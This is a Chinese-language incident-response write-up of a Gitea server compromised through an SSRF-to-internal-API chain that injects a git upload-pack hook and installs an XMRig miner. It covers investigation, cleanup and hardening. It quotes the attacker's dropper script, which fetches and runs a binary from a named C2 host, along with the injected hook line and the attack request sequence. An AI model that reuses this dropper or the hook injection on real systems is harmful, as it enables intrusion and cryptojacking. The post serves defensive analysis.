记录一次真实的服务器应急响应过程,包含完整的排查思路、命令输出和攻击链还原。希望对遇到类似问题的同学有帮助。
一、事件起因:一个不起眼的 git clone 失败
2026年9月15日下午,我在一台新开的腾讯云 Debian 12 服务器上跑初始化脚本、装好 Docker,准备拉取项目代码时,遇到了一个奇怪的报错:
$ git clone https://git.foresh.com/kicer/agent.git
Cloning into 'agent'...
Username for 'https://git.foresh.com': kicer
Password for 'https://kicer@git.foresh.com':
remote: sh: can't open '/data/gitea/home/p0_75090e81.sh': No such file or directory
remote: aborting due to possible repository corruption on the remote side.
fatal: early EOF
fatal: fetch-pack: invalid index-pack output
can't open '/data/gitea/home/p0_75090e81.sh' —— 这个文件路径完全不在我认识的范围里。这不是普通的 git 错误,这是一个服务端 hook 找不到文件的症状。
我当时的第一反应是「服务端可能挂了」,但接下来发生的事,让我意识到事情远没有这么简单。
二、第一反应:服务器挂了?
登录到运行 Gitea 的服务器(VM-0-8-debian),先看容器状态:
$ docker ps -a | grep gitea
19bae68c09db gitea/gitea:1.25.2 "/usr/bin/entrypoint…" 8 weeks ago Up 8 days gitea
容器 Up 8 days,运行正常。但 Gitea 日志里给出了更多信息:
14:51:50 Fail to serve RPC(upload-pack) in /data/git/repositories/kicer/agent.git:
signal: aborted (core dumped) - BUG: upload-pack.c:257: packfile_uris requires sideband-all
14:52:05 Failed to verify user: user's password is invalid [uid: 1, name: kicer]
...
14:59:01 Fail to serve RPC(upload-pack) ...
注意时间点 —— 14:59:01 这个时间戳,后面会反复出现。
三、第一层排查:发现 XMRig 挖矿木马
进入 Gitea 容器,列一下 /data/gitea/ 下的隐藏文件:
$ docker exec -it gitea sh
# ls -la /data/gitea/
-rwxr-xr-x 1 git git 8297712 Sep 11 20:05 .sys_health_s3
-rw-r--r-- 1 git git 5632 Sep 15 14:59 .sys_health_s3.json
-rw-r--r-- 1 git git 2404 Sep 15 14:59 .gitea_cron_health
.sys_health_s3 是 8.2MB 的可执行文件 —— 名字伪装成健康检查,实际是 XMRig 挖矿程序。
它的配置文件 .sys_health_s3.json 里,是完整的门罗币矿池配置:
{
"autosave": true,
"background": true,
"cpu": { "enabled": true, "priority": 5, "max-threads-hint": 100, "yield": false, "asm": true },
"pools": [
{ "url": "gulf.moneroocean.stream:443",
"user": "8C49duEzieACHcWVK4fFDxcsDgdsr88BkSk83vx6MsbGQTYcJUfHu3ocaK2rDU9dYARYTP6YQ4fzDckRoJHTBeTYF31QkBY",
"pass": "Gitea S2",
"rig-id": "Gitea S2",
"keepalive": true,
"tls": true },
{ "url": "pool.hashvault.pro:443", ... },
{ "url": "pool.hashvault.pro:5555", ... }
]
}
关键信号:
max-threads-hint: 100→ 吃满全部 CPUrig-id: "Gitea S2"→ 攻击者给这批矿机的编号,说明不止你一台被种- 钱包地址
8C49duEzi...,六个备选矿池
进程也确实在跑:
$ ps auxf | grep sys_health
196440 git 0:00 /data/gitea/.sys_health_s3 --config=/data/gitea/.sys_health_s3.json
木马挖矿日志显示:
[2026-09-12 18:13:33] net gulf.moneroocean.stream:443 error:
"Permanently banned payment address 8C49duEzi... provided:
Scans for vurnable servers, exploits them, installs malware, starts mining"
连矿池都把他的钱包封了,理由是「扫描服务器、利用漏洞、植入恶意软件、挖矿」。 攻击者已经活跃到被矿池标记的程度。
日志里还能看到木马在 9月15日 14:31 重新启动,CPU 跑满 2 线程,算力约 99 H/s。
此时核心结论已经出来了:服务器被入侵,正在挖矿。
四、第二层排查:木马的持久化机制
木马有很多个文件,每个都承担不同的持久化职责:
/data/gitea/.sys_health_s3 ← 主挖矿程序
/data/gitea/.sys_health_s3.json ← 配置
/data/gitea/.sys_health_s3.log ← 运行日志
/data/gitea/.gitea_cron_health ← cron / watchdog 启动脚本
/data/gitea/.wp_s2_cron ← 另一个启动脚本
/data/gitea/.wp_s2_wd.pid ← watchdog 进程 ID
/data/gitea/.gitea_watchdog.pid ← watchdog 进程 ID
/data/gitea/home/p0_75090e81.sh ← payload 脚本
打开 .gitea_cron_health,脚本内容如下(有删减):
#!/bin/sh
B=/data/gitea/.sys_health_s3
C=/data/gitea/.sys_health_s3.json
R=https://sunnyeye.solarvest.my/health.bin
SZW=$(wc -c <"$B" 2>/dev/null||echo 0)
if [ "$SZW" -lt 1000000 ]; then
wget -qO "$B" "$R" 2>/dev/null||curl -fsSL --max-time 90 -o "$B" "$R"
echo eyJhdXRvc2F2ZSI6dHJ1ZSw... | base64 -d >"$C"
chmod +x "$B"
fi
pgrep -f "[.]sys_health_s3 --config" >/dev/null 2>&1 || nohup $B --config=$C >/dev/null 2>&1 &
这是 XMRig 下载器:
- 检查本地木马是否还在(小于 1MB 就认为缺失)
- 从
https://sunnyeye.solarvest.my/health.bin下载 - 解出内嵌的 base64 配置
- 用
nohup ... &后台常驻
而 p0_75090e81.sh 更复杂,它还会:
- 尝试在多个路径下写脚本(
/data/gitea、/data/git、/home/git、/var/tmp、/dev/shm、/tmp) - 用
crontab -l | grep -Fv gitea_cron_health去重后重写 cron - 如果系统没有 crond,就自己起一个
while sleep 180; do ... done的 watchdog - 输出
__S3START__...作为回执
这是一个高度工程化的挖矿木马投放器,设计来对抗简单清理。
五、第三层排查:真正的根因——.gitconfig 注入
删掉了所有木马文件,升级 Gitea 到 1.27.3,密钥轮换,一切看起来恢复正常 —— 但我在新机器上重跑 pull_agent.sh 时,又报错了:
remote: sh: can't open '/data/gitea/home/p0_75090e81.sh': No such file or directory
fatal: early EOF
文件已经删了,为什么 git 还在找它?
这说明某处配置仍然指向这个文件。
翻遍 Gitea 的数据目录,最后在 /data/gitea/home/.gitconfig 里找到了根因:
[uploadpack]
packObjectsHook = sh /data/gitea/home/p0_75090e81.sh ;#router: completed POST /api/internal/manager/add-logger for 172.18.0.1:0, 200 OK in 0.2ms @ private/manager.go:104(private.AddLogger)
[uploadpack]
packObjectsHook = sh /data/gitea/home/p0_75090e81.sh ;#router: completed POST /api/internal/manager/add-logger for 172.18.0.1:0, 200 OK in 0.1ms @ private/manager.go:104(private.AddLogger)
[uploadpack]
packObjectsHook = sh /data/gitea/home/p0_75090e81.sh ;#router: completed POST /api/internal/manager/add-logger for 172.18.0.1:0, 200 OK in 0.2ms @ private/manager.go:104(private.AddLogger)
...
18 条重复注入!
这是 Git 的 upload-pack.packObjectsHook 配置 —— 每次 git clone / git fetch / git pull 都会执行这个 hook。
而 hook 的末尾还带着 Gitea 的日志片段:
;#router: completed POST /api/internal/manager/add-logger for 172.18.0.1:0, 200 OK ... @ private/manager.go:104(private.AddLogger)
攻击者利用了 Gitea 的 /api/internal/manager/add-logger 接口,把日志内容写进了 .gitconfig。
这才是真正的持久化机制。删文件不够,因为每次 git 操作,.gitconfig 里的 hook 都会执行一次:
git clone触发upload-packupload-pack读.gitconfig里的packObjectsHook- 执行
sh /data/gitea/home/p0_75090e81.sh - 脚本下载 XMRig 并启动
- 如果脚本本身有问题(
thenwget语法错),git 进程崩溃 →early EOF
这就是为什么每次 clone 都失败,也是为什么文件删了还会报错 —— 因为 git 会去读那个已经不存在的脚本文件。
六、攻击链完整还原
清理 .gitconfig 后,我又去翻 nginx-proxy 的访问日志,找到了完整的攻击序列(2026-09-11 01:30):
01:30:12 GET /api/v1/version 200 21 探测版本
01:30:13 GET /api/v1/repos/search?limit=10&sort=updated 200 16124 枚举仓库
01:30:13 GET /kicer/hc32flash 200 51923 打开目标仓库
01:30:13 POST /kicer/hc32flash/markup 200 577 提交恶意markdown
01:30:14 POST /kicer/hc32flash/markup 200 0 第2次
01:30:14 POST /kicer/hc32flash/markup 200 2112 第3次(成功)
01:30:15 POST /api/internal/manager/add-logger 200 7 ← SSRF 触发内部API
01:30:16 POST /api/internal/manager/remove-logger/router/p0s75090e 200 24 清理痕迹
01:30:16 POST /api/internal/manager/add-logger 200 7
01:30:16 POST /api/internal/manager/remove-logger/router/p0c75090e 200 24
01:30:17 GET /kicer/hc32flash.git/info/refs?service=git-upload-pack 200
01:30:17 POST /kicer/hc32flash.git/git-upload-pack 200 149 ← 触发hook执行
01:30:22 POST /kicer/hc32flash.git/git-upload-pack 200 195 ← 木马开始运行
5 秒 13 个请求,一气呵成。UA 全部是 Mozilla/5.0,Client IP 全部是 172.18.0.1(Docker 网关)。
完整攻击链
① 攻击者往 POST /<repo>/markup 接口提交恶意 markdown
(渲染接口匿名可访问,或通过某些路径绕过认证)
↓
② Gitea 渲染 markdown 时,遇到 `<img src="/api/internal/manager/add-logger">`
之类语法,服务端会主动 fetch 该 URL(SSRF)
↓
③ 这个内部 URL 打到 Gitea 自己的内部管理 API
POST /api/internal/manager/add-logger
↓
④ add-logger 的 name 参数被拼接进日志文件路径
→ 攻击者的 payload 被写进 /data/gitea/home/p0_75090e81.sh
↓
⑤ 攻击者同时触发一次 git 操作(git-upload-pack)
→ 触发 .gitconfig 里的 packObjectsHook
↓
⑥ hook 脚本执行 → 从 C2 下载 XMRig → 常驻挖矿
这就是完整的 CVE-2026-60004 利用链。
为什么日志里查不到攻击者真实 IP?
nginx-proxy 的日志记录格式是这样的:
git.foresh.com 172.18.0.1 - - [11/Sep/2026:01:30:15] "POST /api/internal/..." 200 7 "-" "Mozilla/5.0" "172.18.0.8:3000"
172.18.0.1 是 Docker 网关 IP,172.18.0.8:3000 是 Gitea 容器的内部地址。
真实的外部 IP 被丢掉了,因为反代链路是 外部 → sslh → 宿主 → nginx-proxy → gitea,中间没有传递 X-Forwarded-For。
这是本次事件后续调查的最大遗憾 —— 找不到攻击者的原始 IP。
七、修复过程
7.1 清理木马文件
GITEA_DATA=/root/workspace/webserver/gitea/gitea
rm -fv "$GITEA_DATA"/.wp_s2_cron "$GITEA_DATA"/.s3w
rm -fv "$GITEA_DATA"/.sys_health_s3*
rm -fv "$GITEA_DATA"/.wp_s2_wd.pid "$GITEA_DATA"/.gitea_watchdog.pid
rm -fv "$GITEA_DATA"/.gitea_cron_health
rm -fv "$GITEA_DATA"/home/p0_*.sh
7.2 清除 .gitconfig 注入
cat > /root/workspace/webserver/gitea/gitea/home/.gitconfig << 'EOF'
[diff]
algorithm = histogram
[core]
logallrefupdates = true
quotePath = false
commitGraph = true
[gc]
reflogexpire = 90
writeCommitGraph = true
[user]
name = Gitea
email = gitea@fake.local
[receive]
advertisePushOptions = true
procReceiveRefs = refs/for
[fetch]
writeCommitGraph = true
[safe]
directory = *
[uploadpack]
allowfilter = true
allowAnySHA1InWant = true
EOF
7.3 升级 Gitea
从 1.25.2 升级到 1.27.3。数据库自动跑了 20 个 schema 迁移(Migration[323] ~ Migration[342])。
7.4 轮换密钥
NEW_SECRET=$(openssl rand -hex 32)
NEW_INTERNAL=$(openssl rand -hex 32)
NEW_JWT=$(openssl rand -hex 32)
sed -i "s|^SECRET_KEY =.*|SECRET_KEY = $NEW_SECRET|" "$INI"
sed -i "s|^INTERNAL_TOKEN =.*|INTERNAL_TOKEN = $NEW_INTERNAL|" "$INI"
sed -i "s|^JWT_SECRET =.*|JWT_SECRET = $NEW_JWT|" "$INI"
7.5 数据库审计
用 sqlite3 查了几个关键表:
user表:只有 4 个真实用户,没有攻击者账号access_token表:空(没有持久 API token)deploy_key表:空public_key表:只有 kicer 的 1 个webhook表:空
攻击者没有做持久化渗透,只挖矿。
7.6 验证
$ docker exec gitea gitea --version
gitea version 1.27.3 built with go1.26.7-X:jsonv2
$ find /root/workspace/webserver/gitea -maxdepth 3 \( \
-name ".sys_health*" -o -name ".s3w" -o -name "p0_*.sh" \) 2>/dev/null
(无输出)
$ docker stats gitea --no-stream
CONTAINER ID NAME CPU % MEM USAGE / LIMIT
a8b0217640df gitea 0.05% 142.5MiB / 1.89GiB
$ curl -I https://git.foresh.com/
HTTP/2 200
$ git clone https://git.foresh.com/kicer/agent.git test-clone
Cloning into 'test-clone'...
(成功)
八、最终定案
| 项目 | 结论 |
|---|---|
| 漏洞编号 | CVE-2026-60004(Gitea 1.17 ~ 1.27.0 RCE) |
| CVSS | 9.8 Critical |
| 首次利用时间 | 2026-09-11 01:30:15 |
| 攻击者跳板 | 通过 nginx-proxy 转发(真实 IP 未记录) |
| 利用链 | POST /<repo>/markup(SSRF)→ POST /api/internal/manager/add-logger(未授权内部接口)→ 注入 .gitconfig 的 uploadpack.packObjectsHook → git 操作触发 → 下载 XMRig |
| 持久化方式 | .gitconfig hook 注入 + cron + watchdog + 多个路径的备份脚本 |
| 攻击者标记 | Gitea S2 / 钱包 8C49duEzi... / C2 sunnyeye.solarvest.my |
| 木马家族 | XMRig 6.22.2,门罗币挖矿 |
| 持续时间 | 约 4 天(9/11 ~ 9/15) |
| 宿主影响 | 无(未逃逸出 Gitea 容器) |
| 数据影响 | 未发现篡改,4 个用户表干净 |
| 修复状态 | ✅ 木马清除 / ✅ 版本升级 / ✅ 密钥轮换 / ✅ 外部不可达 |
九、复盘与教训
9.1 这次事件暴露的几个问题
① 反代链路没传真实 IP
这是这次调查最大的障碍。所有外部访问在日志里都是 172.18.0.1,看不到攻击者是谁。生产环境一定要在反代层配置 X-Forwarded-For,并且保留在日志里。
② REVERSE_PROXY_TRUSTED_PROXIES = * 是危险的
Gitea 的 app.ini 里如果配置成 *,就会信任来自任何来源的 X-Forwarded-For 头。攻击者可以伪造 X-Forwarded-For: 127.0.0.1 冒充本机。应该改成只信任 nginx-proxy 的内网 IP:
REVERSE_PROXY_TRUSTED_PROXIES = 172.18.0.2
③ MODE = console 导致日志丢失
Gitea 默认 MODE = console,日志只输出到 stdout。容器一重启,历史日志就没了。应该改成 MODE = file,让日志持久化:
[log]
MODE = file
LEVEL = info
ROOT_PATH = /data/gitea/log
④ 内部 API 暴露在 HTTP 层
/api/internal/manager/* 是 Gitea 的内部管理接口,正常应该只通过 unix socket 或者 INTERNAL_TOKEN 保护。但 1.25.2 里它们在 HTTP 层是可访问的(只是没人直接请求)。
纵深防御应该是在 nginx 层直接拒绝这个路径:
location ~ ^/api/internal/ {
deny all;
return 404;
}
这样即使 Gitea 有类似的未授权接口,外部也打不进来。
9.2 关于这次木马的技术细节
这个 XMRig 投放器做得比较完善:
- 多路径写入:
/data/gitea、/data/git、/home/git、/var/tmp、/dev/shm、/tmp都试,找到可写的就落地 - 双启动机制:有 crond 就用 cron,没有就起一个
while sleep 180的 watchdog - 自清理:删除
.s3w临时文件,隐藏痕迹 - 回执机制:输出
__S3START__...__S3START__让 C2 知道感染成功 - 矿池冗余:六个备选矿池,一个被封换下一个
但从行为看,它只做挖矿,不做数据窃取。攻击者的目标就是 CPU 资源。
9.3 检测经验
这次事件暴露了一个排查盲区:只查文件、进程、CPU,查不出「配置注入」类木马。
如果这次我只删了 .sys_health_s3 文件和进程,不查 .gitconfig,那每次 git clone 都会重新感染。最终是 .gitconfig 里的 18 条 packObjectsHook 暴露了完整的持久化机制。
下次遇到类似事件,排查清单要加上:
~/.bashrc/~/.profile/~/.bash_profile~/.gitconfig/<repo>/.git/config(特别是core.hooksPath、uploadpack.packObjectsHook、alias.*)/etc/crontab//etc/cron.*/ 各用户 crontab/etc/systemd/system/*.service/etc/ld.so.preload~/.ssh/authorized_keys~/.config/autostart//etc/rc.local- 所有容器的
~/.bashrc
9.4 处置经验
关键三个动作:
- 先取证,再清理:备份所有可疑文件、日志、core dump,即使暂时看不懂
- 升级版本要到位:1.25.2 → 1.27.3,跨了 20 个数据库迁移,但 Gitea 官方迁移是稳定的
- 密钥轮换不要省:虽然没证据表明密钥泄露,但攻击者对容器有 shell 权限,理论上能读
app.ini,保守起见全都换
绝对不能做的事:
- 只删木马文件,不找持久化机制
- 只重启容器,不升级版本
- 恢复原样后不复盘(下次还会栽同一个坑)
十、后续加固建议
短期(已完成)
- ✅ 升级 Gitea 到最新版(1.27.3)
- ✅ 清除所有木马文件
- ✅ 清理
.gitconfig注入 - ✅ 轮换
SECRET_KEY/INTERNAL_TOKEN/JWT_SECRET - ✅ 外部
/api/internal/*返回 404
中期(建议尽快)
- ⏳ nginx 层显式拒绝
/api/internal/路径 - ⏳ 打开 Gitea 文件日志(
MODE = file) - ⏳ 收窄
REVERSE_PROXY_TRUSTED_PROXIES到具体 IP - ⏳ 部署日检 cron,自动检测木马复活
- ⏳ 通知所有用户改密码 + 换 git token
长期(防患于未然)
- 📋 反代链路配置
X-Forwarded-For,日志保留真实 IP - 📋 Gitea 开启 2FA
- 📋 部署 fail2ban
- 📋 订阅 Gitea 安全公告,有 CVE 第一时间升级
- 📋 关闭不必要的用户注册,限制管理员权限
- 📋 定期对 Gitea 数据目录做完整性检查
结语
这次事件从 git clone 失败开始,到完整还原攻击链、定位 CVE、清理木马、升级版本、密钥轮换,前后大约 2 小时。
最有价值的教训是:现代挖矿木马的持久化机制远不止「写文件 + 起进程」这么简单。它们会利用应用程序本身的配置项(比如 Git 的 hook 配置)、日志注入(add-logger)、SSRF(markdown 渲染)等多种方式做持久化。
只做常规检查(进程、文件、cron)是不够的,必须把「所有能执行代码的配置文件」都纳入排查范围。
最后:感谢 CISA 把 CVE-2026-60004 列入 KEV 目录,也感谢 Gitea 官方迅速发布了修复版本。如果这次没有及时升级到 1.27.3,攻击者可能还会用同一方法再来一次。
希望这篇复盘对遇到类似问题的同学有帮助。安全无小事,防患于未然。